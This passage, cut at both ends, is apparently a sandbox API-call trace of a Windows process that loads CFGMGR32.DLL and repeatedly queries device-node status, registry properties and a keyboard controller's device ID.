lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.246] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.247] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.247] malloc (_Size=0x18) returned 0x196ef0d20e0 [0182.247] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.250] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.250] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d7c4af9, dwHighDateTime=0x1d9eb0c)) [0182.251] SetEvent (hEvent=0x248) returned 1 [0182.376] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.376] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.377] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.378] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.379] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.379] malloc (_Size=0x18) returned 0x196ef0d1e60 [0182.379] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xf, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0182.380] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.380] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x4d8fc32a, dwHighDateTime=0x1d9eb0c)) [0182.380] SetEvent (hEvent=0x248) returned 1 [0182.384] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.384] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.384] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.385] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.386] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.386] malloc (_Size=0x18) returned 0x196ef0d1b60 [0182.386] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xf, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0182.386] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.386] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x4d91bc77, dwHighDateTime=0x1d9eb0c)) [0182.387] SetEvent (hEvent=0x248) returned 1 [0182.389] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.389] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.389] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.390] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.391] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.392] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.392] malloc (_Size=0x18) returned 0x196ef0d1e60 [0182.392] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xf, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0182.392] malloc (_Size=0x48) returned 0x196ef0ccda0 [0182.392] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4d91bc77, dwHighDateTime=0x1d9eb0c)) [0182.392] SetEvent (hEvent=0x248) returned 1 [0182.396] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.396] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.396] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.397] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.398] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.398] malloc (_Size=0x18) returned 0x196ef0d1e00 [0182.398] CM_Get_Device_IDA (in: dnDevInst=0x10, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ACPI\\PNP0303\\4&22F5829E&0") returned 0x0 [0182.398] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.398] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x4d91bc77, dwHighDateTime=0x1d9eb0c)) [0182.398] SetEvent (hEvent=0x248) returned 1 [0182.401] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.401] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.401] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.402] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.403] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.403] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0182.403] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0182.403] malloc (_Size=0x5a) returned 0x196ef0d0680 [0182.403] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d0680, pulLength=0x67117d608) returned 0x0 [0182.404] free (_Block=0x196ef0d0680) [0182.404] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.404] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d941e10, dwHighDateTime=0x1d9eb0c)) [0182.404] SetEvent (hEvent=0x248) returned 1 [0182.406] malloc (_Size=0x18) returned 0x196ef0d20e0 [0182.406] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0182.406] free (_Block=0x196ef0d20e0) [0182.406] malloc (_Size=0x18) returned 0x196ef0d1d20 [0182.406] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee777cf8) returned 0x0 [0182.406] free (_Block=0x196ef0d1d20) [0182.406] malloc (_Size=0x18) returned 0x196ef0d1d60 [0182.406] SafeArrayPutElement (psa=0x196ef1f2830, rgIndices=0x67117d6d8, pv=0x196ee7aa9e8) returned 0x0 [0182.406] free (_Block=0x196ef0d1d60) [0182.406] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856760 [0182.406] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0182.406] SafeArrayGetLBound (in: psa=0x196ef1f2830, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0182.406] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0182.407] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ef3b5ff0 [0182.407] SafeArrayGetDim (psa=0x196ef1f2830) returned 0x1 [0182.407] SafeArrayGetUBound (in: psa=0x196ef1f2830, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0182.407] SafeArrayGetElemsize (psa=0x196ef1f2830) returned 0x8 [0182.407] SafeArrayGetElement (in: psa=0x196ef1f2830, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0182.407] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.407] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336d8, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.407] memcpy (in: _Dst=0x67117d268, _Src=0x196ee8336e0, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0182.408] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ef3b5ff0) returned 1 [0182.408] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856760) returned 1 [0182.408] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.408] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.409] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.410] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.411] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.411] malloc (_Size=0x18) returned 0x196ef0d19e0 [0182.411] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x25 [0182.411] malloc (_Size=0x48) returned 0x196ef0cc850 [0182.411] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x4d941e10, dwHighDateTime=0x1d9eb0c)) [0182.411] SetEvent (hEvent=0x248) returned 1 [0182.413] malloc (_Size=0xd8) returned 0x196ef0d67b0 [0182.413] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0182.414] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0182.415] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0182.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0182.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0182.416] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0182.416] malloc (_Size=0x18) returned 0x196ef0d2020 [0182.416] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.567] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.567] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dabf51a, dwHighDateTime=0x1d9eb0c)) [0182.567] SetEvent (hEvent=0x248) returned 1 [0182.568] SetEvent (hEvent=0x248) returned 1 [0182.569] free (_Block=0x196ef0cd160) [0182.569] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x10, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0182.569] malloc (_Size=0x48) returned 0x196ef0cd160 [0182.569] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x4dabf51a, dwHighDateTime=0x1d9eb0c)) [0182.569] SetEvent (hEvent=0x248) returned 1 [0182.570] SetEvent (hEvent=0x248) returned 1 [0182.570] free (_Block=0x196ef0cd160) [0182.571] 